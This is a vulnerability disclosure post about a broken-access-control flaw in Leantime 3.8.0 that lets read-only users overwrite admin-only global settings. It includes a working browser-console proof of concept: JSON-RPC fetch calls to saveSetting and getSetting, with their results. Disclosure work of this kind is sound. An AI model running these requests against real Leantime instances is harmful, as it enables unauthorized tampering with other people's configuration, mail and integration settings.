Leantime 3.8.0 Broken Access Control

Leantime is a popular open-source project-management app. Its front-end talks to a JSON-RPC API, and several of those API methods forgot to check *who* is calling them. We already covered how that lets any low-privilege user make themselves an administrator.

J
Jobyer Ahmed
2 min read

Leantime is a popular open-source project-management app. Its front-end talks to a JSON-RPC API, and several of those API methods forgot to check who is calling them. We already covered how that lets any low-privilege user make themselves an administrator. This post covers a second issue from the same root cause, any logged-in user with the lowest role read-only, commenter, or editor can write or overwrite any global application setting, configuration that's meant to be admin-only.

We verified this against the current release (leantime/leantime:latest, 3.8.0).

  • Type: Missing authorization (CWE-862) / broken access control
  • Access required: any one ordinary logged-in account (no admin rights)
  • Impact: tamper with instance-wide configuration (company settings, integrations/SMTP, feature & telemetry toggles, …)
  • Severity: CVSS 3.1 7.1 (High)

Reproducing it from the browser

No special tools , just the browser you're logged into.

  1. Log in to Leantime as an ordinary low-privilege user (e.g. a read-only account).

  2. Press F12 - Console.

  3. Write a global setting:

    fetch('/api/jsonrpc', {
      method:'POST', credentials:'include',
      headers:{ 'Content-Type':'application/json', 'X-Requested-With':'XMLHttpRequest' },
      body: JSON.stringify({ jsonrpc:'2.0', id:1,
        method:'leantime.rpc.setting.setting.saveSetting',
        params:{ key:'companysettings.SECTEST', value:'written-by-low-priv' } })
    }).then(r => r.json()).then(console.log);   // -> {result: true}
  4. Read it back to confirm it persisted:

    fetch('/api/jsonrpc', {
      method:'POST', credentials:'include',
      headers:{ 'Content-Type':'application/json', 'X-Requested-With':'XMLHttpRequest' },
      body: JSON.stringify({ jsonrpc:'2.0', id:1,
        method:'leantime.rpc.setting.setting.getSetting',
        params:{ key:'companysettings.SECTEST' } })
    }).then(r => r.json()).then(console.log);   // -> {result: "written-by-low-priv"}

Logged in as a role-5 (read-only) user against 3.8.0:

saveSetting(companysettings.SECTEST, "written-by-readonly")  -> {"result": true}
getSetting(companysettings.SECTEST)                          -> {"result": "written-by-readonly"}
same calls without a session                                 -> 401 Unauthorized

The value was persisted to the zp_settings table - written by a user who, by design, shouldn't be able to change anything.

Impact

Global settings drive instance-wide behavior. Depending on the deployment, an attacker who can overwrite them can tamper with company/branding configuration, integration and mail settings, and feature or telemetry toggles. Because any ordinary account is enough, a single low-trust user (or a stolen low-privilege session) can quietly alter the configuration the whole installation relies on.

Timeline

Credit: Jobyer Ahmed, Bytium.

Reference

J
Jobyer Ahmed

Founder & Security Lead, Bytium

Leads penetration testing and detection engineering at Bytium, focusing on exploit-backed findings, practical remediation, and verified closure.

Need help?

Talk with Bytium

Share your goals and we'll shape the right testing, detection, or compliance plan.

Talk to security